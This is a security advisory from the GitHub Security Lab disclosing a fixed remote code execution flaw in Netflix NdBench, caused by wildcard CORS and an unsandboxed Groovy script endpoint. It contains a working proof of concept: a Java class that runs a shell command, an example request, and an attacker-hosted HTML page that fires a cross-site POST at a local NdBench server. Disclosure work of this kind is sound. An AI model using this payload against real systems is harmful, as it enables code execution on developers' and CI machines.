Coordinated Disclosure Timeline
- 2021-04-07: Reported to Netflix Security Team
- 2021-05-03: Issue is fixed
Summary
An attacker may get arbitrary code execution on NDBench servers by providing arbitrary Groovy scripts.
Product
Netflix NdBench
Tested Version
v0.5.0-rc.1 (2021-03-19)
Details
Issue 1: Overly broad CORS configuration
NdBench is configured with an overly broad default CORS configuration which allows any site to send it cross-site requests:
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, content-type
Access-Control-Allow-Method: OPTIONS, GET, POST
Impact
This issue may let any site to send requests to the REST API.
Issue 2: Unrestricted Groovy Script
The application is designed to evaluate Groovy scripts as described in the Dynamic plugin configuration. This service is backed up by the NdBenchResource
endpoint:
@Path("/initfromscript")
@POST
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Produces(MediaType.APPLICATION_JSON)
public Response initfromscript(@FormDataParam("dynamicplugin") String dynamicPlugin) throws Exception {
try {
GroovyClassLoader gcl = new GroovyClassLoader();
Class classFromScript = gcl.parseClass(dynamicPlugin);
Object objectFromScript = classFromScript.newInstance();
NdBenchClient client = (NdBenchClient) objectFromScript;
ndBenchDriver.init(client);
return sendSuccessResponse("NdBench client - dynamic plugin initiated with script!");
} catch (Exception e) {
logger.error("Error initializing dynamic plugin from script", e);
return sendErrorResponse("script initialization failed for dynamic plugin!", e);
}
}
The Groovy engine is not sandboxed which allows attackers to run arbitrary code by sending requests to this unauthenticated endpoint.
In addition, this endpoint accepts simple POST requests which trigger no preflight requests. Even if it did, the default CORS configuration will allow any site to send cross-origin requests to this endpoint. As a result an attacker can host a malicious web page that, when visited, will send a malicious POST request to the localhost server and run arbitrary code on the developer machine or CI/CD server running NdBench.
Impact
This issue may lead to Remote Code Execution. Any developer running NdBench may get compromised by visiting a malicious web site.
Resources
Example payload:
public class Exploit {
public Exploit() {
Runtime.getRuntime().exec("touch /tmp/pwned-ndbench");
}
}
Example request script:
POST http://localhost:8080/REST/ndbench/driver/initfromscript
dynamicplugin=!file(exploit.json)
Example server response:
500 Internal Error
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, content-type
Access-Control-Allow-Method: OPTIONS, GET, POST
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 07 Apr 2021 09:30:05 GMT
Connection: close
{
"detailedMessage": "java.lang.ClassCastException: Exploit cannot be cast to com.netflix.ndbench.api.plugin.NdBenchClient\n\tat com.netflix.ndbench.core.resources.NdBenchResource.initfromscript(NdBenchResource.java:83)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\n\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n\tat java.lang.reflect.Method.invoke(Method.java:498)\n\tat com.sun.jersey.spi.container.JavaMethodInvokerFactory$1.invoke(JavaMethodInvokerFactory.java:60)\n\tat com.sun.jersey.server.impl.model.method.dispatch.AbstractResourceMethodDispatchProvider$ResponseOutInvoker._dispatch(AbstractResourceMethodDispatchProvider.java:205)\n\tat com.sun.jersey.server.impl.model.method.dispatch.ResourceJavaMethodDispatcher.dispatch(ResourceJavaMethodDispatcher.java:75)\n\tat com.sun.jersey.server.impl.uri.rules.HttpMethodRule.accept(HttpMethodRule.java:302)\n\tat com.sun.jersey.server.impl.uri.rules.RightHandPathRule.accept(RightHandPathRule.java:147)\n\tat com.sun.jersey.server.impl.uri.rules.ResourceClassRule.accept(ResourceClassRule.java:108)\n\tat com.sun.jersey.server.impl.uri.rules.RightHandPathRule.accept(RightHandPathRule.java:147)\n\tat com.sun.jersey.server.impl.uri.rules.RootResourceClassesRule.accept(RootResourceClassesRule.java:84)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl._handleRequest(WebApplicationImpl.java:1542)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl._handleRequest(WebApplicationImpl.java:1473)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl.handleRequest(WebApplicationImpl.java:1419)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl.handleRequest(WebApplicationImpl.java:1409)\n\tat com.sun.jersey.spi.container.servlet.WebComponent.service(WebComponent.java:409)\n\tat com.sun.jersey.spi.container.servlet.ServletContainer.service(ServletContainer.java:558)\n\tat com.sun.jersey.spi.container.servlet.ServletContainer.service(ServletContainer.java:733)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:742)\n\tat com.google.inject.servlet.ServletDefinition.doServiceImpl(ServletDefinition.java:287)\n\tat com.google.inject.servlet.ServletDefinition.doService(ServletDefinition.java:277)\n\tat com.google.inject.servlet.ServletDefinition.service(ServletDefinition.java:182)\n\tat com.google.inject.servlet.ManagedServletPipeline.service(ManagedServletPipeline.java:91)\n\tat com.google.inject.servlet.FilterChainInvocation.doFilter(FilterChainInvocation.java:85)\n\tat com.google.inject.servlet.ManagedFilterPipeline.dispatch(ManagedFilterPipeline.java:119)\n\tat com.google.inject.servlet.GuiceFilter$1.call(GuiceFilter.java:133)\n\tat com.google.inject.servlet.GuiceFilter$1.call(GuiceFilter.java:130)\n\tat com.google.inject.servlet.GuiceFilter$Context.call(GuiceFilter.java:203)\n\tat com.google.inject.servlet.GuiceFilter.doFilter(GuiceFilter.java:130)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)\n\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)\n\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)\n\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)\n\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)\n\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)\n\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)\n\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)\n\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)\n\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)\n\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)\n\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)\n\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\n\tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)\n\tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)\n\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\n\tat java.lang.Thread.run(Thread.java:748)",
"isSuccess": false,
"message": "script initialization failed for dynamic plugin! Exploit cannot be cast to com.netflix.ndbench.api.plugin.NdBenchClient !!! "
}
Regardless of the error, the code in the static initializer block and init
method was run.
The following page can be served on an attacker controlled server to compromise any developer running ndbench which visits the page:
<html>
<head>
<script type="text/javascript">
var formData = new FormData();
var content = `
public class Exploit {
public Exploit() {
Runtime.getRuntime().exec("touch /tmp/pwned-ndbench");
}
}`;
var blob = new Blob([content], { type: "text/xml"});
formData.append("dynamicplugin", blob);
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:8080/REST/ndbench/driver/initfromscript");
request.send(formData);
</script>
</head>
<body>/tmp/pwned-ndbench should have been created</body>
</html>
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-064
in any communication regarding this issue.